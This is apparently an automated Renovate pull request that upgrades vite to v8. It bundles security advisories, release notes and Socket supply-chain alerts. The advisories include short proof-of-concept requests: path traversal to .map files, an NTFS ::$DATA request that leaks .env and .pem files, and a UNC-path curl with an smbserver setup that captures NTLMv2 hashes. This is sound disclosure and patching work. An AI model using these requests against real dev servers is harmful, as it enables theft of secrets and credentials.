chore(deps): update dependency vite to v8 [security]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vite (source)	^5.2.11 → ^8.0.0

---

Vite Vulnerable to Path Traversal in Optimized Deps .map Handling

CVE-2026-39365 / GHSA-4w7w-66w2-5vf9

More information

Details

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• have a sensitive content in files ending with .map and the path is predictable

Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC

1. Create a minimal PoC sourcemap outside the project root

   cat > /tmp/poc.map <<'EOF'
   {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
   EOF

2. Start the Vite dev server (example)

   pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080

3. Confirm that direct /@​fs access is blocked by strict (returns 403)
   
4. Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map
   

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9
• https://github.com/vitejs/vite/pull/22161
• https://github.com/vitejs/vite/commit/79f002f2286c03c88c7b74c511c7f9fc6dc46694
• https://github.com/vitejs/vite/releases/tag/v6.4.2
• https://github.com/vitejs/vite/releases/tag/v7.3.2
• https://github.com/vitejs/vite/releases/tag/v8.0.5
• https://nvd.nist.gov/vuln/detail/CVE-2026-39365
• https://github.com/advisories/GHSA-4w7w-66w2-5vf9

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

vite: server.fs.deny bypass on Windows alternate paths

CVE-2026-53571 / GHSA-fx2h-pf6j-xcff

More information

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• the sensitive file exists in the allowed directories specified by server.fs.allow
• either of:
  • the sensitive file exists in an NTFS volume
  • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)

Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw

Example expected result:

• /.env::$DATA?raw returns the contents of .env
• /tls.pem::$DATA?raw returns the contents of tls.pem

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-fx2h-pf6j-xcff
• https://nvd.nist.gov/vuln/detail/CVE-2026-53571
• https://github.com/advisories/GHSA-fx2h-pf6j-xcff

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

CVE-2026-53632 / GHSA-v6wh-96g9-6wx3

More information

Details

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

• using Windows
• NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
• the user accesses the attackers website that sends request to a middleware using launch-editor
• the server that has the middleware using launch-editor is running
• the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

Severity

• CVSS Score: 5.5 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3
• https://github.com/advisories/GHSA-v6wh-96g9-6wx3

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

vitejs/vite (vite)

v8.1.5

Compare Source

Please refer to CHANGELOG.md for details.

v8.1.4

Compare Source

Features

• legacy: prefer oxc as minifier (fix #​21973) (#​22468) (ab5dafa)

Bug Fixes

• build: add workaround for building on stackblitz (#​22840) (575c32c)
• build: keep import.meta.url in preload function as-is (#​22839) (f1f90ed)
• deps: update all non-major dependencies (#​22865) (d4295a9)
• deps: update rolldown-related dependencies (#​22866) (7cf07e4)
• html: avoid backtracking in import-only check (#​22848) (b5868c0)
• optimizer: avoid optimizer run for transform request before init (#​22852) (72a5e21)
• ssr: align named export function call stacktrace column with Node (#​22829) (173a1b6)
• strip pure CSS chunk imports when chunkImportMap is enabled (#​22841) (648bd04)

Documentation

• fix incorrect @default for server.cors (#​22859) (70435b2)

Miscellaneous Chores

• deps: update dependency postcss-modules to v9 (#​22867) (a9539d6)

Code Refactoring

• eliminate ineffectiveDynamicImport warn (#​22876) (ea22fb3)

Tests

• avoid warnings (#​22851) (af21ab6)

Build System

• remove the custom onLog function (#​22878) (2c4a217)
• replace deprecated onwarn with onLog (#​22741) (c581b55)

v8.1.3

Compare Source

Bug Fixes

• css: inject inlined CSS after the shebang line (#​22717) (1534d36)
• deps: bump es-module-lexer to 2.3.0 (#​22838) (7103c3a)
• preload css for nested dynamic imports (#​22759) (2c53054)
• ssr: correct stacktrace column position for first line (#​22828) (c4acd69)

v8.1.2

Compare Source

Bug Fixes

• deps: revert es-module-lexer to 2.1.0 (#​22827) (0d3bd7c)
• restore, "fix: resolve pnpm .modules.yaml from workspace root instead of cwd (#​22757)" (#​22825) (efb98cc)
• revert, "fix: escape ids with multiple null bytes (#​22687)" (cccef55)
• revert, "fix: resolve pnpm .modules.yaml from workspace root instead of cwd (#​22757)" (cf97711)

v8.1.1

Compare Source

Features

• update dynamic import warning to link to Vite docs (#​22823) (62bd7af)

Bug Fixes

• bundled-dev: avoid stack overflow on import.meta.hot.invalidate() (#​22797) (709eb8e)
• bundled-dev: serve assets emitted during HMR/lazy compile (#​22745) (5876b2c)
• bundledDev: skip plugin transform hooks for rolldown-lazy stub modules (#​22778) (8f925e2)
• css: preserve dollar signs in external @import urls with lightningcss (#​22718) (9fa7ab4)
• css: resolve tsconfig paths in CSS and Sass @​import (#​22775) (ef0b891)
• deps: update all non-major dependencies (#​22734) (e635f49)
• deps: update all non-major dependencies (#​22804) (8837400)
• deps: update rolldown-related dependencies (#​22591) (2ce6677)
• escape ids with multiple null bytes (#​22687) (833fc30)
• hide console window when running 'net use' on Windows (#​22698) (92b63f2)
• ignore bundled config temp dir (#​22800) (043a810)
• invert esbuild.jsxSideEffects when converting to oxc.jsx.pure (#​22809) (33895ba)
• optimize-deps: ignore ERR_CLOSED_SERVER in scanner (#​22784) (085a0ab)
• optimizer: scanner should resolve input from root (#​22769) (9722b07)
• resolve pnpm .modules.yaml from workspace root instead of cwd (#​22757) (2531ac7)
• return sourcemap field from some plugins that were lacking (#​22782) (7e18bf8)
• server: handle malformed URI in indexHtmlMiddleware (#​22781) (84f5ccc)

Miscellaneous Chores

• improve dependency optimizer messages (#​22549) (092cb3b)

Code Refactoring

• css: remove lightningcss null byte bug workaround (#​22822) (2dafd3b)
• use pre-defined environments variable to avoid duplicate Object.values calls (#​22790) (1113acf)

Tests

• enable "manual chunk path" test and remove "worker.format error" test (#​22824) (c088511)

v8.1.0

Compare Source

Features

• extend server.fs.deny list with common files (#​22707) (61ba8fd)
• update rolldown to 1.1.2 (#​22695) (4f008a6)
• use ~ for Rolldown (#​22693) (9928722)

Bug Fixes

• bundled-dev: errors should be kept when incremental build fails (#​22617) (9a0dd48)
• cache falsy values in perEnvironmentState (#​22715) (0e91e79)
• glob: respect caseSensitive option in hmr matcher (#​22711) (65f525e)
• html: omit nonce on import map when cspNonce is unset (#​22713) (8340bb5)
• optimizer: skip null-valued exports in expandGlobIds glob resolution (#​22611) (8b9f5cd)
• resolved build options should be kept as a getter (#​22691) (3527191)
• server: handle malformed URI in memory files middleware (#​22714) (df9e0a5)
• use literal envPrefix queries for Vite Task (#​22706) (da72733)
• warn on deprecated envFile (#​22555) (ed7b283)

Code Refactoring

• client: inline dev-id value in CSS selector (#​22736) (57f59bc)
• remove unused removeRawQuery util (#​22724) (403cc60)
• use rolldownOptions property for chunkImportMap (#​22692) (8e8816c)

v8.0.16

Compare Source

Bug Fixes

• deps: reject UNC paths for launch-editor-middleware (#​22571) (50b9512)
• reject windows alternate paths (#​22572) (dc245c7)

v8.0.15

Compare Source

Features

• send 408 on request timeout (#​22476) (c85c9ee)
• update rolldown to 1.0.3 (#​22538) (646dbed)

Bug Fixes

• capitalize error messages and remove spurious space in parse error (#​22488) (85a0eff)
• deps: update all non-major dependencies (#​22511) (2686d7d)
• dev: fix html-proxy cache key mismatch for /@​fs/ HTML paths (#​21762) (47c4213)
• glob: error on relative glob in virtual module when no files match (#​22497) (5c8e98f)
• optimizer: close the rolldown bundle when write() rejects (#​22528) (e3cfb9d)
• resolve: provide onWarn for viteResolvePlugin in JS plugin containers (#​22509) (40985f1)

Miscellaneous Chores

• deps: update rolldown-related dependencies (#​22566) (3052a67)

Code Refactoring

• correct logic in collectAllModules function (#​22562) (6978a9c)

v8.0.14

Compare Source

Features

• update rolldown to 1.0.2 (#​22484) (96efc88)

Bug Fixes

• deps: update all non-major dependencies (#​22471) (98b8163)
• dev: handle errors when sending messages to vite server (#​22450) (e8e9a34)
• html: handle trailing slash paths in transformIndexHtml (#​22480) (5d94d1b)
• optimizer: pass oxc jsx options to transformSync in dependency scan (#​22342) (b3132da)

Miscellaneous Chores

• deps: update rolldown-related dependencies (#​22470) (7cb728e)
• remove irrelevant commits from changelog (2c69495)

Code Refactoring

• glob: do not rewrite import path for absolute base (#​22310) (0ae2844)

Tests

• css: sass does not use main field (#​22449) (ebf39a0)

v8.0.13

Compare Source

Features

• bundled-dev: add lazy bundling support (#​21406) (4f0949f)
• optimizer: improve the esbuild plugin converter to pass some properties of build result to onEnd (#​22357) (47071ce)
• update rolldown to 1.0.1 (#​22444) (8c766a6)

Bug Fixes

• build: copy public directory after building same environment with write=false (#​22328) (158e8ae)
• css: await sass/less/styl worker disposal on teardown (fix #​22274) (#​22275) (b7edcb7)
• css: keep deprecated name/originalFileName in synthetic assetFileNames call (#​22439) (8e59c97)
• make isBundled per environment (#​22257) (a576326)
• ssr: avoid rewriting labels that collide with imports (#​22451) (d9b18e0)

Miscellaneous Chores

• remove irrelevant commits from changelog (#​22430) (6ea3838)
• update changelog (#​22413) (fcdc87c)

v8.0.12

Compare Source

Features

• update rolldown to 1.0.0 (#​22401) (cf0ff41)

Bug Fixes

• create-vite: pass react framework to TanStack CLI (#​22397) (18f0f90)
• deps: update all non-major dependencies (#​22420) (2be6000)
• module-runner: prevent partial-exports race on concurrent imports of in-flight invalidated re-export chains (#​22369) (f5a22e6)
• refer to rolldownOptions instead of deprecated rollupOptions in messages (#​22400) (b675c7b)
• worker: apply build.target to worker bundle (#​22404) (3c93fde)
• worker: forward define to worker bundle transform (#​22408) (d4838a0)

Miscellaneous Chores

• deps: update dependency eslint-plugin-n to v18 (#​22423) (2fe7bd2)
• deps: update rolldown-related dependencies (#​22421) (66b9eb3)

v8.0.11

Compare Source

Features

• update rolldown to 1.0.0-rc.18 (#​22360) (3f80524)

Bug Fixes

• deps: update all non-major dependencies (#​22334) (672c962)
• deps: update all non-major dependencies (#​22382) (5c0cfcb)
• glob: align hmr matcher options with glob enumeration (#​22306) (30028f9)
• make separate object instance for each environment (#​22276) (7c2aa3b)

Documentation

• create-vite: list react-compiler templates in README (#​22347) (7c3a61f)
• explain mergeConfig skips null/undefined (#​22325) (2151f70)
• mention native config loader in CLI options (#​22348) (0420c5d)
• update evan's x handle (640202a)

Miscellaneous Chores

• deps: update dependency tsdown to ^0.21.10 (#​22333) (3b51e05)
• deps: update rolldown-related dependencies (#​22383) (555ff36)
• deps: update transitive packages to fix npm audit alerts (#​22316) (86aee62)

Code Refactoring

• devtools integration (#​22312) (3c8bf06)
• remove unnecessary async (#​22296) (b31fd35)
• show direct path type in bad character warning (#​22339) (0c162e9)

Tests

• create-vite: use short help alias (#​22389) (994ab66)

v8.0.10

Compare Source

Features

• update rolldown to 1.0.0-rc.17 (#​22299) (a4d06d9)

Bug Fixes

• hmrClient.logger.debug and hmrClient.logger.error looked different from other HMR logs (#​22147) (a4d828f)
• css: show filename in CSS minification warnings for .css?inline (#​22292) (83f0a78)
• optimizer: allow user transform.target to override default in optimizeDeps (#​22273) (5c7cec6)
• remove format sniffing module resolution from JS resolver (#​22297) (b8a21cc)

Code Refactoring

• enable some typecheck rules (#​22278) (9437518)
• typecheck client directory (#​22284) (40a0847)

v8.0.9

Compare Source

Features

• update rolldown to 1.0.0-rc.16 (#​22248) (2947edd)

Bug Fixes

• allow binding when strictPort is set but wildcard port is in use (#​22150) (dfc8aa5)
• build: emptyOutDir should happen for watch rebuilds (#​22207) (ee52267)
• bundled-dev: reject requests to HMR patch files in non potentially trustworthy origins (#​22269) (868f141)
• css: use unique key for cssEntriesMap to prevent same-basename collision (#​22039) (374bb5d)
• deps: update all non-major dependencies (#​22219) (4cd0d67)
• deps: update all non-major dependencies (#​22268) (c28e9c1)
• detect Deno workspace root (fix #​22237) (#​22238) (1b793c0)
• dev: handle errors in watchChange hook (#​22188) (fc08bda)
• optimizer: handle more chars that will be sanitized (#​22208) (3f24533)
• skip fallback sourcemap generation for ?raw imports (#​22148) (3ec9cda)

Documentation

• align the descriptions in READMEs (#​22231) (44c42b9)
• fix reuses wording in dev environment comment (#​22173) (9163412)
• fix wording in sass error comment (#​22214) (bc5c6a7)
• update build CLI defaults (#​22261) (605bb97)

Miscellaneous Chores

• deps: update dependency dotenv-expand to v13 (#​22271) (0a3887d)

v8.0.8

Compare Source

Features

• update rolldown to 1.0.0-rc.15 (#​22201) (6baf587)

Bug Fixes

• avoid dns.getDefaultResultOrder temporary (#​22202) (15f1c15)
• ssr: class property keys hoisting matching imports (#​22199) (e137601)

v8.0.7

Compare Source

Bug Fixes

• use sync dns.getDefaultResultOrder instead of dns.promises (#​22185) (5c05b04)

v8.0.6

Compare Source

Features

• update rolldown to 1.0.0-rc.13 (#​22097) (51d3e48)

Bug Fixes

• css: avoid mutating sass error multiple times (#​22115) (d5081c2)
• optimize-deps: hoist CJS interop assignment (#​22156) (17a8f9e)

Performance Improvements

• early return in getLocalhostAddressIfDiffersFromDNS when DNS order is verbatim (#​22151) (56ec256)

Miscellaneous Chores

• create-vite: remove unnecessary DOM.Iterable (#​22168) (bdc53ab)
• replace remaining prettier script (#​22179) (af71fb2)

v8.0.5

Compare Source

Bug Fixes

• apply server.fs check to env transport (#​22159) (f02d9fd)
• avoid path traversal with optimize deps sourcemap handler (#​22161) (79f002f)
• check server.fs after stripping query as well (#​22160) (a9a3df2)
• disallow referencing files outside the package from sourcemap (#​22158) (f05f501)

v8.0.4

Compare Source

Features

• allow esbuild 0.28 as peer deps (#​22155) (b0da973)
• hmr: truncate list of files on hmr update (#​21535) (d00e806)
• optimizer: log when dependency scanning or bundling takes over 1s (#​21797) (f61a1ab)

Bug Fixes

• hasBothRollupOptionsAndRolldownOptions should return false for proxy case (#​22043) (99897d2)
• add types for vite/modulepreload-polyfill (#​22126) (17330d2)
• deps: update all non-major dependencies (#​22073) (6daa10f)
• deps: update all non-major dependencies (#​22143) (22b0166)
• resolve: resolve tsconfig paths starting with # (#​22038) (3460fc5)
• ssr: use browser platform for webworker SSR builds (fix #​21969) (#​21963) (364c227)

Documentation

• add environment.fetchModule documentation (#​22035) (54229e7)

Miscellaneous Chores

• deps: update rolldown-related dependencies (#​21989) (0ded627)

Code Refactoring

• upgrade to typescript 6 (#​22110) (cc41398)

v8.0.3

Compare Source

Features

• update rolldown to 1.0.0-rc.12 (#​22024) (84164ef)

Bug Fixes

• html: cache unfiltered CSS list to prevent missing styles across entries (#​22017) (5464190)
• module-runner: handle non-ascii characters in base64 sourcemaps (#​21985) (77c95bf)
• module-runner: skip re-import if the runner is closed (#​22020) (ee2c2cd)
• optimizer: scan is not resolving sub path import if used in a glob import (#​22018) (ddfe20d)
• ssr: ssrTransform incorrectly rewrites meta identifier inside import.meta when a binding named meta exists (#​22019) (cff5f0c)

Miscellaneous Chores

• deps: bump picomatch from 4.0.3 to 4.0.4 (#​22027) (7e56003)

Tests

• html: add tests for getCssFilesForChunk (#​22016) (43fbbf9)

v8.0.2

Compare Source

Features

• update rolldown to 1.0.0-rc.11 (#​21998) (ff91c31)

Bug Fixes

• deps: update all non-major dependencies (#​21988) (9b7d150)

Miscellaneous Chores

• deps: update dependency [@​vitejs/devtools](https://redirect.github.com/vitejs/d

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[socket-security]

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff	Package	Supply Chain Security	Vulnerability	Quality	Maintenance	License
	npm/​vite@​8.1.5

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[socket-security]

Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

Action	Severity	Alert  (click "▶" to expand/collapse)
Warn		Obfuscated code: npm @emnapi/runtime is 90.0% likely obfuscated Confidence: 0.90 Location: Package overview From: ? → npm/vite@8.1.5 → npm/@emnapi/runtime@1.11.1 ℹ Read more on: This package | This alert | What is obfuscated code? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev. Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/@emnapi/runtime@1.11.1. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

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